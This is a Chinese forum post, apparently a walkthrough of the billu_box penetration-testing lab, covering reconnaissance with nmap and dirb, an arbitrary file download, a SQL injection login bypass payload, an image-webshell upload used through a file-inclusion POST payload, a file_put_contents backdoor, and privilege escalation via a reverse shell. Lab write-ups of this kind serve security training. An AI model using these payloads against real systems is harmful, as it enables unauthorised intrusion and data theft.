biilu_box靶场——(从web到主机完整流程)

逍遥子   ·   发表于 2022-04-12 21:49:23   ·   技术文章

Billu

一.信息收集汇总

1. 基本信息

  1. Ip:192.168.88.148
  2. Os:Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.
  3. Port:80;22
  4. Serverapache 2.2.99;SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
  5. linux Verson:Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

2.web扫描

  1. 任意文件下载:test.php
  2. sql注入:登录口的sql注入登录: usernaem: 1 or 1=1 -- wq ;password:a\;
  3. 数据库密码泄露,直接登录phpmyadmin:数据库密码在c.php中,phpmyadmin通过后台扫描得到。
  4. 文件包含与文件上传:文件包含在panel.php中,参数使用post传递,关键参数为continusload。文件上传在主页功能界面,存在一个上传图片的功能。
  5. shell获取:通过文件包含上传的shell写入一个新的shell,使用蚁剑连接后获得webshell。后门写入地址:upload_images/1.php

3.漏洞扫描

  1. nmap:nmap --script-vuln;无
  2. Nessus:无

4.内网探测,主机渗透

  1. 普通shell:拿到一个普通用户,wwwshell,但是可以查看passwd文件
  2. 提权:从www-data提权到root

二.信息收集细则

1.基本信息扫描

  1. 使用nmap对主机存活进行一个探测。 nmap -sn 192.168.88.0/24


通过使用nmap探测到了主机ip,接下来需要对详细信息进行一个探测,比如,开放端口,操作系统,开放的服务,可能存在的漏洞信息等。可以使用nessus进行系统化扫描,也可以使用nmap进行扫描。
nmap扫描时使用的命令:nmap -p- 192.168.88.148; nmap -p[指定端口] -sV 192.168.88.148; nmap -O 192.168.88.148

2.web扫描

  1. 通过访问浏览器,发现这个这个网页存在一个可登录信息外,基本没有,于是考虑使用扫描工具,对目录进行扫描。
  1. 使用dirb对网站目录进行枚举。 dirb http://192.168.88.148 [字典路径]

使用御剑扫描

1.任意文件下载。

访问到扫描的目录后,发现test.php存在一个异常,提示文件路径参数。


使用post传参以后,发现存在一个任意文件下载,而且通过扫描,已经大概知道了网站的目录结构,那么就可以实现任意文件的现在,变成白盒审计。


通过直接下载文件index.php,下载到了网站的主文件,发现了登录验证的方式,于是想着利用sql注入实现登录的效果。

2.sql注入

  1. 这行代码使用了一个转义符对单引号进行转换,导致我们输入进行的所有东西都是一个字符串,单引号的效果也没有办法体现,于是想到考虑传入一个转义符,将他原来就有的单引号也进行一个转义,这样就可以构造我们需要的代买
  2. echo 'select * from auth where pass=\''a\'\' and uname=\''or 1=1 -- wq.'\'';


【其中的引号全部为转义过后的引号,对数据库操作无影响。】

利用sql注入成功登录

3.数据库密码泄露

在扫描到的文件:c.php中,下载后审计,直接发现了数据库的连接密码。


配合dirb扫描到的目录,发现phpmyadmin,可以直接登录phpmyadmin进行拖库等其他操作。

4.文件包含和文件上传

利用任意文件下载的漏洞,尝试将所有扫到的文件进行一个下载,然后对代码进行分析,然后发现了一个文件panel.php包含的漏洞。

  1. 发现了一个可控制参数,想办法在这个地方执行文件包含。


对关键的代码进行分析

  1. if(isset($_POST['continue'])) #参数continue不能为空
  2. {
  3. $dir=getcwd();
  4. $choice=str_replace('./','',$_POST['load']); #将./替换为空,是为了防止目录穿越。
  5. if($choice==='add') #参数choice不能为add
  6. {
  7. include($dir.'/'.$choice.'.php');
  8. die();
  9. }
  10. if($choice==='show') #参数choice不能为show
  11. {
  12. include($dir.'/'.$choice.'.php');
  13. die();
  14. }
  15. else
  16. {
  17. include($dir.'/'.$_POST['load']); #传递的参数应该时load
  18. }
  19. }

使用添加图片的功能上传一个图片马,直接包含,成功获取到webshell.

  1. 构造包含的payloadcontinue=1&load=uploaded_images/as2.png

5.获取webshell

利用之前文件上传的成果,利用同时发现的文件包含,拿到一个webshell,但是使用蚁剑进行连接,发现连接失败,因为访问时需要验证登录。

  1. 利用之前的webshell写入一个新的后门文件
  2. continue=1&load=uploaded_images/as2.png&8=file_put_contents('uploaded_images/1.php','');

再次使用蚁剑连接,成功获取到webshell

3.漏洞扫描:

  1. 使用Nmap没有扫描到重要的信息
  2. namp -p- 192.168.88.146 --script=vulners

  1. 使用nessus也没有搜索到具有价值的东西

4.主机渗透

初始拿到一个普通权限的shell


搜索msf中相对应的POC,经过编译后在webshell发现提权失败,但是弹出了一个#,考虑使用了shell反弹,利用nc反弹shell到了kali上,再一次通过提权,拿到root

用户名金币积分时间理由
Track-劲夫 50.00 0 2022-04-15 14:02:12 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-4-12 | 862 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.